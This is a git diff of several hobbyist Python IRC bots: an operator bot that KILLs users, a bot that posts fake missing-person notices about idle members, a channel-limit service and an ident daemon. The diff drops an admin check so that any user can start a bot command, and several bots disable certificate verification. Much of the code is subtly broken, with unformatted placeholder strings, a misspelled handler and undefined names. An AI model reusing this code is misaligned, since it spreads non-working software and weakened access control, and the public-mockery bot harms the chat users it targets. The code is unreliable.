self.db = pickle.load(db_file)
|
|
||||||
self.connect()
|
|
||||||
|
|
||||||
def connect(self):
|
|
||||||
try:
|
|
||||||
self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
|
|
||||||
self.sock.connect(('localhost', 6697))
|
|
||||||
self.raw(f'USER BL 0 * :ENTER THE VOID')
|
|
||||||
self.raw('NICK blackhole')
|
|
||||||
except socket.error:
|
|
||||||
self.event_disconnect()
|
|
||||||
else:
|
|
||||||
self.listen()
|
|
||||||
|
|
||||||
def evemt_connect(self):
|
|
||||||
self.mode(nickname, '+' + user_modes)
|
|
||||||
self.identify(nickname, nickserv_password)
|
|
||||||
self.oper(username, operator_password)
|
|
||||||
|
|
||||||
def event_disconnect(self):
|
|
||||||
self.sock.close()
|
|
||||||
time.sleep(15)
|
|
||||||
self.connect()
|
|
||||||
|
|
||||||
def event_private(self, ident, nick, msg):
|
|
||||||
if ident == admin:
|
|
||||||
args = msg.split()
|
|
||||||
cmd = args[0][1:]
|
|
||||||
if msg[:1] == '.':
|
|
||||||
if cmd in self.db.keys():
|
|
||||||
if len(args) == 1:
|
|
||||||
for item in self.db[cmd]:
|
|
||||||
self.sendmsg(nick, '\x0310' + item)
|
|
||||||
elif len(args) == 2:
|
|
||||||
option = args[1][1:]
|
|
||||||
change = args[1][:1]
|
|
||||||
if change == '+':
|
|
||||||
if option not in self.db[cmd]:
|
|
||||||
self.db[cmd].append(option)
|
|
||||||
self.sendmsg(nick, '\x033added')
|
|
||||||
elif change == '-':
|
|
||||||
if option in self.db[cmd]:
|
|
||||||
self.db[cmd].remove(option)
|
|
||||||
self.sendmsg(nick, '\x035removed')
|
|
||||||
elif ident not in self.db['protected_hosts']:
|
|
||||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
|
|
||||||
def handle_events(self, data):
|
|
||||||
args = data.split()
|
|
||||||
if data.startswith('ERROR :Closing Link:'):
|
|
||||||
raise Exception('Connection has closed.')
|
|
||||||
elif args[0] == 'PING':
|
|
||||||
self.raw('PONG ' + args[1][1:])
|
|
||||||
elif args[1] == '001':
|
|
||||||
self.event_connect()
|
|
||||||
elif args[1] == 'INVITE' or args[1] == 'NOTICE':
|
|
||||||
nick = args[0].split('!')[0][1:]
|
|
||||||
host = args[0].split('@')[1]
|
|
||||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
elif args[1] == 'KICK' and len(args) >= 4:
|
|
||||||
nick = args[0].split('!')[0][1:].lower()
|
|
||||||
host = args[0].split('@')[1]
|
|
||||||
chan = args[2]
|
|
||||||
kicked = args[3].lower()
|
|
||||||
if kicked == 'blackhole':
|
|
||||||
time.sleep(1)
|
|
||||||
self.raw('JOIN ' + chan)
|
|
||||||
else:
|
|
||||||
for item in self.db['nick']:
|
|
||||||
if kicked == item:
|
|
||||||
self.raw(f'KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
self.mode(chan, '+b *!*@' + host)
|
|
||||||
break
|
|
||||||
elif args[1] == 'PRIVMSG' and len(args) == 4:
|
|
||||||
ident = args[0].split('!')[1].lower()
|
|
||||||
host = args[0].split('@')[1]
|
|
||||||
nick = args[0].split('!')[0][1:].lower()
|
|
||||||
chan = args[2]
|
|
||||||
msg = ' '.join(args[3:])[1:].lower()
|
|
||||||
if '\001' in msg:
|
|
||||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
elif chan == 'blackhole':
|
|
||||||
if ident in self.db['ident'] and msg.startswith('!'):
|
|
||||||
self.raw('KILL {msg[1:]} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
elif ident == admin:
|
|
||||||
self.event_private(ident, nick, msg)
|
|
||||||
else:
|
|
||||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
elif host not in self.db['protect']:
|
|
||||||
for item in self.db['nick']:
|
|
||||||
if item in msg:
|
|
||||||
self.raw('KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
|
||||||
break
|
|
||||||
|
|
||||||
def listen(self):
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
data = self.sock.recv(1024).decode('utf-8')
|
|
||||||
for line in (line for line in data.split('\r\n') if line):
|
|
||||||
if len(line.split()) >= 2:
|
|
||||||
self.handle_events(line)
|
|
||||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
|
||||||
pass
|
|
||||||
except:
|
|
||||||
break
|
|
||||||
self.event_disconnect()
|
|
||||||
|
|
||||||
def raw(self, msg):
|
|
||||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
|
||||||
|
|
||||||
# Main
|
|
||||||
BlackHole = IRC()
|
|
||||||
BlackHole.run()
|
|
142
irc/bots/amber.py
Normal file
142
irc/bots/amber.py
Normal file
@ -0,0 +1,142 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/amber)
|
||||||
|
# amber.py
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import random
|
||||||
|
import ssl
|
||||||
|
import textwrap
|
||||||
|
import time
|
||||||
|
|
||||||
|
import config
|
||||||
|
|
||||||
|
class config:
|
||||||
|
server = 'irc.supernets.org'
|
||||||
|
channel = '#superbowl'
|
||||||
|
nickname = 'AMBERALERT'
|
||||||
|
ident = {'nickname':'AMBERALERT', 'username':'missing', 'realname':'IRC Amber Alert Bot', 'nickserv':None}
|
||||||
|
|
||||||
|
def ascii(nick):
|
||||||
|
age = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
|
||||||
|
height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
|
||||||
|
weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO)
|
||||||
|
eyes = random.choice(['BLUE','BROWN','GREEN'])
|
||||||
|
return textwrap.dedent(f'''1,4
|
||||||
|
1,4 1,8^^^^^^1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||||
|
1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||||
|
1,4 1,8<0,2*CFLC*1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||||
|
1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||||
|
1,4 1,8VVVVVV1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
|
||||||
|
1,4
|
||||||
|
1,1
|
||||||
|
1,0
|
||||||
|
1,0
|
||||||
|
1,0 1,1 1,0
|
||||||
|
1,0 1,1 1,10 1,1 1,0 12NAME 1: {nick.ljust(16)}
|
||||||
|
1,0 1,1 1,10 5,7,;',;',,5,10 1 1,1 1,0
|
||||||
|
1,0 1,1 1,10 5,7.;'. ( _5,10 1 1,1 1,0 12 AGE 1: {age.ljust(16)}
|
||||||
|
1,0 1,1 1,10 5,7.1@5;;1 0O O 1,10 1,1 1,0
|
||||||
|
1,0 1,1 1,10 5,7.1 5; 1 > 1,10 1,1 1,0 12 HEIGHT1 : {height.ljust(16)}
|
||||||
|
1,0 1,1 1,10 5,7;1 5 ;;;;5,10 1 1,1 1,0
|
||||||
|
1,0 1,1 1,10 1,7 1,1___1,10 1,6\ 1,10 1,1 1,0 12 WEIGHT1 : {weight.ljust(16)}
|
||||||
|
1,0 1,1 1,7 1,10 1,6 1,7 1,10 1,1 1,0
|
||||||
|
1,0 1,1 1,7 1,10 1,7 1,10 1,1 1,0 12EYES 1 : {eyes.ljust(16)}
|
||||||
|
1,0 1,1 1,0
|
||||||
|
1,0
|
||||||
|
1,0 Missing from #superbowl, SuperNETs since 2007
|
||||||
|
1,0
|
||||||
|
1,0 ANY INFORMATION REGARDING THE WHERE-ABOUTS OF
|
||||||
|
1,0 THIS CHATTER SHOULD REPORT IT TO THE OFFICAL
|
||||||
|
1,0 CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.
|
||||||
|
1,0
|
||||||
|
1,0 1-800-5MISSING1 missing@cflc.gov
|
||||||
|
1,0 ''')
|
||||||
|
|
||||||
|
def ssl_ctx():
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
return ctx
|
||||||
|
|
||||||
|
class IRC:
|
||||||
|
def __init__(self):
|
||||||
|
self.options = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
|
||||||
|
self.reader = None
|
||||||
|
self.writer = None
|
||||||
|
self.names = {'found':list(), 'idle':list()}
|
||||||
|
self.scanning = False
|
||||||
|
self.looping = False
|
||||||
|
|
||||||
|
def _event_names(self, names):
|
||||||
|
if self.scanning:
|
||||||
|
for name in names:
|
||||||
|
if name[:1] in '~!@%&+:':
|
||||||
|
name = name[1:]
|
||||||
|
if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
|
||||||
|
self.names['found'].append(name)
|
||||||
|
|
||||||
|
async def _event_end_of_names(self):
|
||||||
|
self.scanning = False
|
||||||
|
for name in self.names['found']:
|
||||||
|
self._raw('WHOIS ' + name)
|
||||||
|
await asyncio.sleep(2)
|
||||||
|
if self.names['idle']:
|
||||||
|
target = random.choice(self.names['idle'])
|
||||||
|
for line in ascii(target).split('\n'):
|
||||||
|
self._raw(f'PRIVMSG #superbowl :{line}')
|
||||||
|
self._raw(f'PRIVMSG {target} :{line}')
|
||||||
|
self.names = {'found':list(), 'idle':list()}
|
||||||
|
|
||||||
|
async def _loop(self):
|
||||||
|
while self.looping:
|
||||||
|
if not self.scanning:
|
||||||
|
self.scanning = True
|
||||||
|
self._raw('NAMES #superbowl')
|
||||||
|
await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
|
||||||
|
|
||||||
|
def _raw(self, data):
|
||||||
|
self.writer.write(data[:510].encode('utf-8') + b'\r\n')
|
||||||
|
|
||||||
|
async def _connect(self):
|
||||||
|
try:
|
||||||
|
self.reader, self.writer = await asyncio.open_connection(**self.options)
|
||||||
|
self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
|
||||||
|
self._raw('NICK AMBERALERT')
|
||||||
|
except Exception as ex:
|
||||||
|
print(f'[!] - Failed to connect to IRC server! ({ex!s})')
|
||||||
|
else:
|
||||||
|
while not self.reader.at_eof():
|
||||||
|
line = await self.reader.readline()
|
||||||
|
line = line.decode('utf-8').strip()
|
||||||
|
print('[~] - '+line)
|
||||||
|
args = line.split()
|
||||||
|
if args[0] == 'PING':
|
||||||
|
self._raw('PONG ' + args[1][1:])
|
||||||
|
elif args[1] == '001': # RPL_WELCOME
|
||||||
|
self._raw('MODE AMBERALERT +BDd')
|
||||||
|
self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
|
||||||
|
await asyncio.sleep(3)
|
||||||
|
self._raw('JOIN #superbowl')
|
||||||
|
elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
|
||||||
|
chan = args[4]
|
||||||
|
if chan == '#superbowl':
|
||||||
|
names = ' '.join(args[5:])[2:].split()
|
||||||
|
self._event_names(names)
|
||||||
|
elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
|
||||||
|
chan = args[3]
|
||||||
|
if chan == '#superbowl':
|
||||||
|
if self.scanning:
|
||||||
|
asyncio.create_task(self._event_end_of_names())
|
||||||
|
elif not self.looping:
|
||||||
|
self.looping = True
|
||||||
|
asyncio.create_task(self._loop())
|
||||||
|
elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
|
||||||
|
nick = args[3]
|
||||||
|
idle = args[4]
|
||||||
|
if int(idle) >= 604800: # 1W
|
||||||
|
self.names['idle'].append(nick)
|
||||||
|
|
||||||
|
# Start
|
||||||
|
if __name__ == '__main__':
|
||||||
|
Bot = IRC()
|
||||||
|
asyncio.run(Bot._connect())
|
@ -4,7 +4,7 @@
|
|||||||
import random,socket,ssl,threading,time
|
import random,socket,ssl,threading,time
|
||||||
|
|
||||||
# Config
|
# Config
|
||||||
admin_ident = 'ak!ak@super.nets'
|
admin_ident = 'acidvegas!*@*'
|
||||||
channel = '#anythinggoes'
|
channel = '#anythinggoes'
|
||||||
nickserv_password = 'CHANGEME'
|
nickserv_password = 'CHANGEME'
|
||||||
operator_password = 'CHANGEME'
|
operator_password = 'CHANGEME'
|
||||||
@ -166,16 +166,18 @@ class IRC(object):
|
|||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
try:
|
try:
|
||||||
self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM))
|
self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
self.sock.connect(('irc.supernets.org',6697))
|
self.sock.connect(('irc.supernets.org',6667))
|
||||||
self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
|
self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
|
||||||
self.raw('NICK THEGAME')
|
self.raw('NICK THEGAME')
|
||||||
while True:
|
while True:
|
||||||
data = self.sock.recv(1024).decode('utf-8')
|
data = self.sock.recv(1024).decode('utf-8')
|
||||||
|
print(data)
|
||||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||||
print(f'{get_time()} | [~] - {line}')
|
print(f'{get_time()} | [~] - {line}')
|
||||||
args = line.split()
|
args = line.split()
|
||||||
if args[0]=='PING':self.raw('PONG '+args[1][1:])
|
if args[0]=='PING':
|
||||||
|
self.raw('PONG '+args[1][1:])
|
||||||
elif args[1]=='001':
|
elif args[1]=='001':
|
||||||
self.raw('MODE THEGAME +BDd')
|
self.raw('MODE THEGAME +BDd')
|
||||||
self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
|
self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
|
||||||
@ -195,7 +197,9 @@ class IRC(object):
|
|||||||
if chan==channel:self.event_message(ident,nick,chan,msg)
|
if chan==channel:self.event_message(ident,nick,chan,msg)
|
||||||
elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
|
elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
|
||||||
except(UnicodeDecodeError,UnicodeEncodeError):pass
|
except(UnicodeDecodeError,UnicodeEncodeError):pass
|
||||||
except:self.sock.close()
|
except Exception as ex:
|
||||||
|
print(ex)
|
||||||
|
self.sock.close()
|
||||||
time.sleep(15)
|
time.sleep(15)
|
||||||
self.connect()
|
self.connect()
|
||||||
|
|
||||||
@ -210,7 +214,7 @@ class IRC(object):
|
|||||||
elif msg=='refresh':
|
elif msg=='refresh':
|
||||||
self.nicks=list()
|
self.nicks=list()
|
||||||
self.raw('NAMES #anythinggoes')
|
self.raw('NAMES #anythinggoes')
|
||||||
elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start()
|
elif msg=='!wormnet':WORMS.start()
|
||||||
elif msg=='!worms':
|
elif msg=='!worms':
|
||||||
for line in worms_data:self.sendmsg(channel, line)
|
for line in worms_data:self.sendmsg(channel, line)
|
||||||
elif len(args)==2:
|
elif len(args)==2:
|
@ -132,8 +132,7 @@ class IRC(object):
|
|||||||
self.listen()
|
self.listen()
|
||||||
|
|
||||||
def create_socket(self):
|
def create_socket(self):
|
||||||
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
|
self.sock = socket.socket(socket.AF_INET6) if use_ipv6 else socket.socket()
|
||||||
self.sock = socket.socket(family, socket.SOCK_STREAM)
|
|
||||||
if vhost:
|
if vhost:
|
||||||
self.sock.bind((vhost, 0))
|
self.sock.bind((vhost, 0))
|
||||||
if use_ssl:
|
if use_ssl:
|
1
irc/bots/ircs
Submodule
1
irc/bots/ircs
Submodule
@ -0,0 +1 @@
|
|||||||
|
Subproject commit a2d36f86df617efad0dcace56862f0a8c147d3da
|
264
irc/bots/limitserv.py
Normal file
264
irc/bots/limitserv.py
Normal file
@ -0,0 +1,264 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
|
||||||
|
_cert = {'file':None, 'key':None, 'password':None}
|
||||||
|
_ident = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
|
||||||
|
_login = {'nickserv':None, 'network':None, 'operator':None}
|
||||||
|
_throttle = {'limit':300, 'queue':0.5, 'voice':10}
|
||||||
|
_settings = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
|
||||||
|
|
||||||
|
def debug(msg):
|
||||||
|
print(f'{get_time()} | [~] - {msg}')
|
||||||
|
|
||||||
|
def error(msg, reason):
|
||||||
|
print(f'{get_time()} | [!] - {msg} ({reason})')
|
||||||
|
|
||||||
|
def get_time():
|
||||||
|
return time.strftime('%I:%M:%S')
|
||||||
|
|
||||||
|
class IRC(object):
|
||||||
|
def __init__(self):
|
||||||
|
self._channels = list()
|
||||||
|
self._names = list()
|
||||||
|
self._queue = list()
|
||||||
|
self._voices = dict()
|
||||||
|
self._sock = None
|
||||||
|
|
||||||
|
def _run(self):
|
||||||
|
Loop._loops()
|
||||||
|
self._connect()
|
||||||
|
|
||||||
|
def _connect(self):
|
||||||
|
try:
|
||||||
|
self._create_socket()
|
||||||
|
self._sock.connect((_connection['server'], _connection['port']))
|
||||||
|
self._register()
|
||||||
|
except socket.error as ex:
|
||||||
|
error('Failed to connect to IRC server.', ex)
|
||||||
|
Event._disconnect()
|
||||||
|
else:
|
||||||
|
self._listen()
|
||||||
|
|
||||||
|
def _create_socket(self):
|
||||||
|
self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
if _connection['vhost']:
|
||||||
|
self._sock.bind((_connection['vhost'], 0))
|
||||||
|
if _connection['ssl']:
|
||||||
|
ctx = ssl.SSLContext()
|
||||||
|
if _cert['file']:
|
||||||
|
ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
|
||||||
|
if _connection['ssl_verify']:
|
||||||
|
ctx.verify_mode = ssl.CERT_REQUIRED
|
||||||
|
ctx.load_default_certs()
|
||||||
|
else:
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
self._sock = ctx.wrap_socket(self._sock)
|
||||||
|
|
||||||
|
def _listen(self):
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
data = self._sock.recv(1024).decode('utf-8')
|
||||||
|
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||||
|
debug(line)
|
||||||
|
Event._handle(line)
|
||||||
|
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||||
|
pass
|
||||||
|
except Exception as ex:
|
||||||
|
error('Unexpected error occured.', ex)
|
||||||
|
break
|
||||||
|
Event._disconnect()
|
||||||
|
|
||||||
|
def _register(self):
|
||||||
|
if _login['network']:
|
||||||
|
Bot._queue.append('PASS ' + _login['network'])
|
||||||
|
Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
|
||||||
|
Bot._queue.append('NICK ' + _ident['nickname'])
|
||||||
|
|
||||||
|
class Command:
|
||||||
|
def _join(chan, key=None):
|
||||||
|
Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
|
||||||
|
|
||||||
|
def _kick(chan, nick, msg=None):
|
||||||
|
Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
|
||||||
|
|
||||||
|
def _mode(target, mode):
|
||||||
|
Bot._queue.append(f'MODE {target} {mode}')
|
||||||
|
|
||||||
|
def _raw(msg):
|
||||||
|
Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
|
||||||
|
|
||||||
|
def _sendmsg(target, msg):
|
||||||
|
Bot._queue.append(f'PRIVMSG {target} :{msg}')
|
||||||
|
|
||||||
|
class Event:
|
||||||
|
def _connect():
|
||||||
|
if _settings['modes']:
|
||||||
|
Command._mode(_ident['nickname'], '+' + _settings['modes'])
|
||||||
|
if _login['nickserv']:
|
||||||
|
Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
|
||||||
|
if _login['operator']:
|
||||||
|
Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
|
||||||
|
|
||||||
|
def _disconnect():
|
||||||
|
Bot._sock.close()
|
||||||
|
Bot._names = list()
|
||||||
|
Bot._queue = list()
|
||||||
|
Bot._voices = dict()
|
||||||
|
time.sleep(15)
|
||||||
|
Bot.connect()
|
||||||
|
|
||||||
|
def _end_of_names(chan):
|
||||||
|
limit = str(len(Bot._names) + _settings['limit'])
|
||||||
|
if settings['anope']:
|
||||||
|
Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
|
||||||
|
else:
|
||||||
|
Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
|
||||||
|
Bot._names = list()
|
||||||
|
|
||||||
|
def _join(nick, chan):
|
||||||
|
if nick == _ident['nickname'].lower():
|
||||||
|
if chan not in Bot._channels:
|
||||||
|
Bot._channels.append(chan)
|
||||||
|
if chan not in Bot._voices:
|
||||||
|
Bot._voices[chan] = dict()
|
||||||
|
elif chan in Bot._channels:
|
||||||
|
if nick not in Bot._voices[chan]:
|
||||||
|
Bot._voices[chan][nick] = time.time()
|
||||||
|
|
||||||
|
def _kick(nick, chan, kicked):
|
||||||
|
if nick == _ident['nickname'].lower():
|
||||||
|
Bot._channels.remove(chan)
|
||||||
|
del Bot._voices[chan]
|
||||||
|
time.sleep(3)
|
||||||
|
Command._join(chan)
|
||||||
|
elif chan in Bot._channels:
|
||||||
|
if nick in Bot._voices[chan]:
|
||||||
|
del Bot._voices[chan][nick]
|
||||||
|
|
||||||
|
def _names(chan, nicks):
|
||||||
|
for name in nicks:
|
||||||
|
if name[:1] in '~!@%&+':
|
||||||
|
name = name[1:]
|
||||||
|
Bot._names.append(name)
|
||||||
|
|
||||||
|
def _nick(nick, new_nick):
|
||||||
|
for chan in Bot._voices:
|
||||||
|
if nick in Bot._voices[chan]:
|
||||||
|
Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
|
||||||
|
del Bot._voices[chan][nick]
|
||||||
|
|
||||||
|
def _no_such_nick(nick):
|
||||||
|
for chan in Bot._voices:
|
||||||
|
if nick in Bot._voices[chan]:
|
||||||
|
del Bot.voices[chan][nick]
|
||||||
|
|
||||||
|
def _part(nick, chan):
|
||||||
|
if nick == _ident['nickname'].lower():
|
||||||
|
Bot._channels.remove(chan)
|
||||||
|
del Bot._voices[chan]
|
||||||
|
elif chan in Bot._channels:
|
||||||
|
if nick in Bot._voices[chan]:
|
||||||
|
del Bot._voices[chan][nick]
|
||||||
|
|
||||||
|
def _quit(nick):
|
||||||
|
for chan in Bot._voices:
|
||||||
|
if nick in Bot._voices[chan]:
|
||||||
|
del Bot._voices[chan][nick]
|
||||||
|
|
||||||
|
def _handle(data):
|
||||||
|
args = data.split()
|
||||||
|
if data.startswith('ERROR :Closing Link:'):
|
||||||
|
raise Exception('Connection has closed.')
|
||||||
|
elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
|
||||||
|
raise Exception('Connection has closed. (throttled)')
|
||||||
|
elif args[0] == 'PING':
|
||||||
|
Command._raw('PONG ' + args[1][1:])
|
||||||
|
elif args[1] == '001': # RPL_WELCOME
|
||||||
|
Event._connect()
|
||||||
|
elif args[1] == '401': # ERR_NOSUCHNICK
|
||||||
|
nick = args[3].lower()
|
||||||
|
Event._no_such_nick(nick)
|
||||||
|
elif args[1] == '433': # ERR_NICKNAMEINUSE
|
||||||
|
raise Exception('Bot is already running or nick is in use.')
|
||||||
|
elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
|
||||||
|
chan = args[4].lower()
|
||||||
|
names = ' '.join(args[5:]).lower()[1:].split()
|
||||||
|
Event._names(chan, names)
|
||||||
|
elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
|
||||||
|
chan = args[3].lower()
|
||||||
|
Event._end_of_names(chan)
|
||||||
|
elif args[1] == 'JOIN' and len(args) == 3:
|
||||||
|
nick = args[0].split('!')[0][1:].lower()
|
||||||
|
chan = args[2][1:].lower()
|
||||||
|
Event._join(nick, chan)
|
||||||
|
elif args[1] == 'KICK' and len(args) >= 4:
|
||||||
|
nick = args[0].split('!')[0][1:].lower()
|
||||||
|
chan = args[2].lower()
|
||||||
|
kicked = args[3].lower()
|
||||||
|
Event._kick(nick, chan, kicked)
|
||||||
|
elif args[1] == 'NICK' and len(args) == 3:
|
||||||
|
nick = args[0].split('!')[0][1:].lower()
|
||||||
|
new_nick = args[2][1:].lower()
|
||||||
|
Event._nick(nick, new_nick)
|
||||||
|
elif args[1] == 'PART' and len(args) >= 3:
|
||||||
|
nick = args[0].split('!')[0][1:].lower()
|
||||||
|
chan = args[2].lower()
|
||||||
|
Event._part(nick, chan)
|
||||||
|
elif args[1] == 'QUIT':
|
||||||
|
nick = args[0].split('!')[0][1:].lower()
|
||||||
|
Event._quit(nick)
|
||||||
|
|
||||||
|
class Loop:
|
||||||
|
def _loops():
|
||||||
|
threading.Thread(target=Loop._queue).start() # start first to handle incoming data
|
||||||
|
threading.Thread(target=Loop._limit).start()
|
||||||
|
threading.Thread(target=Loop._voice).start()
|
||||||
|
|
||||||
|
def _limit():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
for chan in Bot._channels:
|
||||||
|
Bot._queue.append('NAMES ' + chan)
|
||||||
|
except Exception as ex:
|
||||||
|
error('Error occured in the loop!', ex)
|
||||||
|
finally:
|
||||||
|
time.sleep(_throttle['limit'])
|
||||||
|
|
||||||
|
def _queue():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
if Bot._queue:
|
||||||
|
Command._raw(Bot._queue.pop(0))
|
||||||
|
except Exception as ex:
|
||||||
|
error('Error occured in the queue loop!', ex)
|
||||||
|
finally:
|
||||||
|
time.sleep(_throttle['queue'])
|
||||||
|
|
||||||
|
def _voice():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
for chan in Bot._voices:
|
||||||
|
nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
|
||||||
|
for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
|
||||||
|
Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
|
||||||
|
for subitem in item:
|
||||||
|
del Bot._voices[chan][subitem]
|
||||||
|
except Exception as ex:
|
||||||
|
error('Error occured in the voice loop!', ex)
|
||||||
|
finally:
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
# Main
|
||||||
|
if _connection['ssl']:
|
||||||
|
import ssl
|
||||||
|
else:
|
||||||
|
del cert, _connection['verify']
|
||||||
|
Bot = IRC()
|
||||||
|
Bot._run()
|
1258
irc/hueg-hexchat.pl
Normal file
1258
irc/hueg-hexchat.pl
Normal file
File diff suppressed because it is too large
Load Diff
@ -1,54 +1,65 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random)
|
# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||||
|
|
||||||
import os, re, socket, time
|
import os
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import string
|
||||||
|
import threading
|
||||||
|
import pwd
|
||||||
|
|
||||||
def check_privledges():
|
def check_privledges():
|
||||||
return True if os.getuid() == 0 or os.geteuid() == 0 else return False
|
if os.getuid() == 0 or os.geteuid() == 0:
|
||||||
|
return True
|
||||||
def debug(msg):
|
else:
|
||||||
print(f'{get_time()} {msg}')
|
return False
|
||||||
|
|
||||||
def get_time():
|
|
||||||
return time.strftime('%I:%M:%S')
|
|
||||||
|
|
||||||
def is_valid_port(port):
|
def is_valid_port(port):
|
||||||
return True if port > 0 and port <= 65535 else return False
|
if port > 0 and port <= 65535:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
class server(object):
|
def random_str(size):
|
||||||
def __init__(self, ipv6=False):
|
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
|
||||||
self.ipv6 = ipv6
|
|
||||||
self.sock = None
|
|
